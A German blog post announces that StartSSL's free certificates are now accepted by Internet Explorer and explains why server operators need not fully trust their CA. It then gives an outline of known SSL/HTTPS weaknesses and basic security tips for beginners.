Um verschlüsselte Verbindungen über SSL bzw. HTTPS zu ermöglichen, benötigt man als Server-Betreiber ein SSL-Zertifikat. Diese werden von Zertifizierungsstellen, sogenannten CAs, ausgegeben. Die CA überprüft, ob der Bestellende wirklich berechtigt (also Inhaber der Domain) ist, und stellt dann meist gegen viel Geld das Zertifikat aus. Damit kann sich die Website gegenüber einem Browser „ausweisen“ und eine sichere, verschlüsste Verbindung wird möglich. Details gibt es in meinem ausführlichen SSL-Artikel, wo auch noch ein paar Worte über die Sicherheit von SSL stehen.

Nur Zertifikate von CAs, die der Browserhersteller als vertrauenswürdig in den Browser eingebaut hat, werden als gültig erkannt. Deswegen ist es schwierig, eine neue CA aufzubauen, denn die Kriterien für eine Aufnahme sind streng und es gibt viele Browserhersteller, die man zur Aufnahme bewegen muss. Aus diesem Grund gab es bis vor kurzem keine CA, die kostenlos Zertifikate ausgegeben hat und von allen gängigen Browsern akzeptiert wurde. CAcert und StartCom/StartSSL vergeben seit langem kostenlose Zertifikate. CAcert ist jedoch weder in Firefox noch im Internet Explorer als vertrauenswürdig enthalten. Somit kann man CAcert nicht für Seiten benutzen, die von Normalnutzern besucht werden, denn diese würden eine hässliche Sicherheitswarnung erhalten. StartSSL war schon länger in Firefox enthalten, jedoch nicht im Internet Explorer, und war für ernsthafte Nutzung mit unerfahrenen Nutzern daher auch ungeeignet.

StartSSL hat es jetzt aber endlich geschafft, in den Internet Explorer aufgenommen zu werden. Der Internet Explorer akzeptiert die kostenlosen StartSSL-Zertifikate somit seit kurzem als gültig. Dank einer eingebauten Auto-Update-Funktion funktioniert das auch mit veralteten Versionen des IE! Ein IE 6.0 aus meiner Sandbox-VM, Stand Anfang 2008, hat das Zertifikat anstandslos akzeptiert. Mozilla Firefox, Apple Safari (inkl. dem iPhone-Browser), Opera, Google Chrome und einige andere akzeptieren StartSSL schon länger, damit sind alle gängigen Browser abgedeckt. (Lediglich Konqueror unter einer aktuellen (K)Ubuntu-Version hatte Probleme damit.) StartSSL ist somit endlich eine voll einsetzbare CA geworden, und somit gibt es endlich kostenlose SSL-Zertifikate für alle! (StartSSL bietet übrigens auch EV-Zertifikate zu relativ humanen Preisen an.) Edit: Opera (etwa 5% Marktanteil) unterstützt StartSSL scheinbar leider doch noch nicht.

Als Serverbetreiber muss man übrigens der CA nicht besonders vertrauen (solange man nicht irgendwelche sehr besonderen Sachen macht wie Client-Zertifikate, aber das weiß man dann), wichtig ist nur, dass die Browser die CA akzeptieren. Eine bösartige, aber in Browsern als vertrauenswürdig eingetragene CA kann sich jederzeit für jede Website ein Zertifikat ausstellen lassen, unabhängig davon, ob der Websitebetreiber dort Kunde ist oder nicht. Die eigene CA könnte höchstens das eigene Zertifikat widerrufen und somit ungültig machen, aber mehr auch nicht. Darüber hinaus hat die CA noch ein paar persönliche Angaben, die aber bei einfachen Zertifikaten nicht über das hinausgehen, was die meisten Online-Shops auch wissen. Insbesondere den privaten Schlüssel des Zertifikats hat die CA normalerweise nicht! Es gibt zwar oft die Möglichkeit, die CA diesen Schlüssel generieren zu lassen, aber man kann es auch richtig machen und das selbst tun und den eigenen Schlüssel zertifizieren lassen. Selbst wenn man der CA also aus welchem Grund auch immer nicht vollständig vertrauen sollte, kann man sie als Serverbetreiber dennoch nutzen.

Ich erhalte für diesen Artikel keine Vergütung o.ä. von StartSSL/StartCom. Diesen Artikel habe ich geschrieben, weil es mich ankotzt, dass Firmen für das simple Ausstellen eines einfachen domain-validierten Zertifikats horrende Preise (oft sogar dreistellig!) verlangen, und weil ich froh bin, das es endlich eine kostenlose Alternative gibt und ich auf diese hinweisen möchte. Ich selbst habe von der Aufnahme in den IE auch erst heute erfahren. Nutzt diese kostenlose Möglichkeit, um die Datenübertragung zu euren Webseiten zu sichern! Macht diese Möglichkeit bekannt, damit die kommerziellen CAs ihre überzogenen Preise endlich etwas realistischer machen müssen.

Über die (Un-)Sicherheit von SSL und HTTPS

Normalerweise denkt man, eine Seite mit https:// in der Adresse sei sicher, die Daten seien verschlüsselt und man kommuniziere definitiv mit dem richtigen Gesprächspartner. Das zugrunde liegende Protokoll nennt man SSL bzw. TLS (ich werde hier nur noch von SSL reden, TLS ist der Name der neusten Version), wenn also in SSL ein Fehler gefunden wird, ist davon auch HTTPS betroffen.  Das Protokoll an sich ist größtenteils sicher. Die Angriffe beziehen sich auf meist die dahinterliegenden Strukturen, die teilweise unsicher sind. Ich rede dennoch etwas unkorrekt von Angriffen auf HTTPS bzw. SSL, weil die Angriffe auf die Strukturen im Hintergrund natürlich in der Praxis per HTTPS/SSP gesicherte Verbindungen unsicher machen. Hier möchte ich einen sowohl für Anfänger als auch für Fortgeschrittene interessanten Überblick geben, was von der Sicherheit zu halten ist, was noch sicher ist  und was unsicher. Ich gehe im Folgenden von Firefox aus, wer noch den Internet Explorer nutzt, ist selber schuld und tut mir leid.

Ich habe auch allgemeine Tipps für Anfänger eingebaut. Je nach Kentnissstand werden einige Abschnitte unverständlich kompliziert und einige andere langweilig sein. Auch Profis können interessante Probleme finden, aber die Seite richtet sich eher an Nutzer, denen SSL ein Begriff ist.

Der Artikel ist doch sehr lang geworden. Daher erstmal nur, was hier behandelt wird:

• Einleitung
• Funktionsweise von SSL und HTTPS (sehr grob)
• (Nicht) mögliche Angriffe
• Aufbau von Adressen
• Sicherheitsmerkmale im Browser
• EV-Zertifikate
• HTTPS ist kein Gütesiegel
• Die einzelnen Angriffe
  • 1. Debian OpenSSL weak keys
  • 2. Comodo stellt ungeprüft Zertifikate aus
  • 3. StartSSL stellt schlechte geprüft Zertifikate aus
  • 4. MD5-Kollisionsangriffe
  • 5. OpenSSL-Lücke
  • 6. „optimierte“ Umleitung, wenn zunächst http benutzt wird (sslstrip, IDN-Spoofing)
  • 7. Nullbytes im Hostname des Zertifikats
• Fazit

Vorab: Sicherheitstipps für Einsteiger in Kürze

• System sicher halten – In dem Moment, wo der Rechner von einem Angreifer z. B. mit einem Trojaner bearbeitet wurde, kann man die ganzen Sicherheitsmaßnahmen vergessen. Nur wenn der Rechner und die Software vertrauenswürdig sind, kann man sich auf die Ausgaben verlassen. Dafür sollte man:
  • Sichere Software verwenden – Software, die oft Sicherheitslücken hat, meiden. Je stärker die Software fremdem Inhalt ausgesetzt ist, desto sicherer muss sie sein. Ein unsicheres (Offline-)Spiel ist kaum ein Problem. Ein unsicherer Browser umso mehr.  Internet Explorer meiden, z. B. Firefox nutzen.
  • Software aktuell halten – Software hat immer Sicherheitslücken. Mit Updates werden bekannte Lücken geschlossen. Spielt man ein Update nicht ein, obwohl es eine bekannte Lücke gibt, wird diese meist bald ausgenutzt. Auch hier gilt: Vor allem Betriebssystem und Browser sowie die Browser-Plugins (Acrobat Reader, Flash, diverse Mediaplayer) müssen immer topaktuell sein.
  • Virenscanner und Firewalls sind ein zusätzliches Sicherheitsnetz. Updates sind viel wichtiger.
  • Nicht vertrauenswürdige Software nicht starten. Dazu zählen gerne auf dubiosen Seiten angebotene falsche Updates sowie illegale Kopierschutz-Knackprogramme.
• Wichtige Seiten direkt aufrufen – am Besten per Lesezeichen. Wer seine Bankseite immer per Google sucht, hat ein Problem, wenn ein Phisher es mal nach oben schafft.
• Beim Aufrufen direkt https:// benutzen – sonst kann ein Angreifer problemlos umleiten, siehe unten.
• Warnungen beachten – wenn der Browser sagt, dass irgendwas mit der Bankseite nicht in Ordnung ist, dürfte es stimmen, auch wenn bei irgendwelchen Hobbyseiten die Warnung oft „grundlos“ kommt.
• Für Seiten die man nicht direkt aufruft muss man leider https kennen, um sicher zu sein. Das ist für Anfänger nicht einfach.